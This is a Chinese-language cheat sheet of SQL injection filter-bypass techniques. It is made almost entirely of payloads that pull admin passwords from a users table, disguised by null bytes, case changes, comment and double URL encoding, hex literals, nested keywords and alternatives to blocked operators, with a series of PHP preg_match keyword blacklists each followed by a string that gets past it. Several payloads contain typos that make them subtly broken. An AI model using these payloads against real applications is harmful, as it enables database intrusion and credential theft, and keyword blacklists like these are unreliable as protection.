使用空字节
要想执行空字节攻击,只需在过滤器阻止的字符前面提供一个采用URL编码的空字节即可。
%00' union select password from tblUsers where username='admin' --+
大小写变种
如果某些关键字过滤器不够聪明,可以使用变换攻击字符串中字符的大小来避开
'uNiOn SeLeCt password frOm tblUsers WhErE usermane="admin" --+
注释绕过
使用内联注释序列创建SQL代码段
' /**/union/**/select/**/password/**/from/**/tblusers/**/where/**/username/**/like/**/'admin' --+
URL编码绕过
2007年PHP-Nuke发现有一个漏洞所使用的过滤器能阻止空白符和内敛注释/* ,但无法组织以注释序列所表示的URL编码。
' %2f%2a*/union%2f%2a*/select%2f%2a*/password%2f%2a*/from%2f%2a*/tblusers%2f%2a*/where%2f%2a*/username%2f%2a*/like%2f%2a*/'admin'--+
这种基本的URL编码攻击对其他情况不起作用,不过仍可以通过对被阻止的字符进行双URL编码来避开过滤器。
' %252f%252a*/union%252f%252a*/select%252f%252a*/password%252f%252a*/from%252f%252a*/tblusers%252f%252a*/where%252f%252a*/username%252f%252a*/like%252f%252a*/'admin'--+
双url编码有时会起作用
引号绕过
select table_name from information_schema.tables where table_schema="example"
如果引号被过滤是没办法进行过滤的,这时候可以转换为十六进制
select table_name from information_schema.tables where table_schema=0x6578616d706c65
from to
的方式来解决
select substr(database(0 from 1 for 1);
select mid(database(0 from 1 for 1);
对于limit可以使用offset绕过
select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0
如果无法使用比较操作符,那么就需要使用greatest来进行过滤
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest
来代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
嵌套剥离后的表达式
有些审查过滤器会先从用户输入中剥离特定的字符或表达式,然后在按照常用的方式处理剩下的数据。如果被剥离的表达式中包含两个或以上的字符,就不会递归应用过滤器。通常可以通过在禁止的表达式中嵌套自身来绕过过滤器
selectselect
黑名单绕过
1. 过滤关键字: and,or
php代码
preg_match('/(and|or)/i',$id)
会过滤的代码
1 or 1=1 1 and 1=1
绕过方式
1 || 1=1 1 && 1=1
下面这种方式你需要知道一些表和字段名
2. 过滤关键字: and or union
php代码
preg_match('/(and|or|union)/i',$id)
会过滤的代码
union select user,password from users
绕过方式
1 && (select user from users where user_id=1)='admin'
3. 过滤关键字 and or union where
php代码
preg_match('/(and|or|union)/i',$id)
会过滤的代码
1 && (select user from users where user_id = 1) = 'admin'
绕过方式
1 && (select user from users limit 1) = 'admin'
4. 过滤关键字: and or union where limit
php代码
preg_match('/(and|or|union|where|limit)/i', $id)
会过滤的攻击代码
1 && (select user from users limit 1) = 'admin'
绕过方式
1 && (select user from users group by user_id having user_id = 1) = 'admin' #user_id聚合中user_id为1的user为admin
5. 过滤关键字: and or union where limit group by
php代码
preg_match('/(and|or|union|where|limit|group by)/i', $id)
会过滤的攻击代码
1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式
1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
6. 过滤关键字: and or union where limit group by select
php代码
preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
会过滤的攻击代码
1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式
1 && substr(user,1,1) = 'a'
7. 过滤关键字: and or union where limit group by select '
php代码
preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
会过滤的攻击代码
1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式
1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)
8. 过滤关键字: and or union where limit group by select ' hex
php代码
preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
会过滤的攻击代码
1 && substr(user,1,1) = unhex(61)
绕过方式
1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
9. 过滤关键字:and or union where limit group by select ' hex substr
php代码
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
会过滤的攻击代码
1 && substr(user,1,1) = lower(conv(11,10,16))
绕过方式
1 && lpad(user,7,1)
10. 过滤关键字: and or union where limit group by select ' hex substr 空格
php代码
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
会过滤的攻击代码
1 && lpad(user,7,1)
绕过方式
1%0b||%0blpad(user,7,1)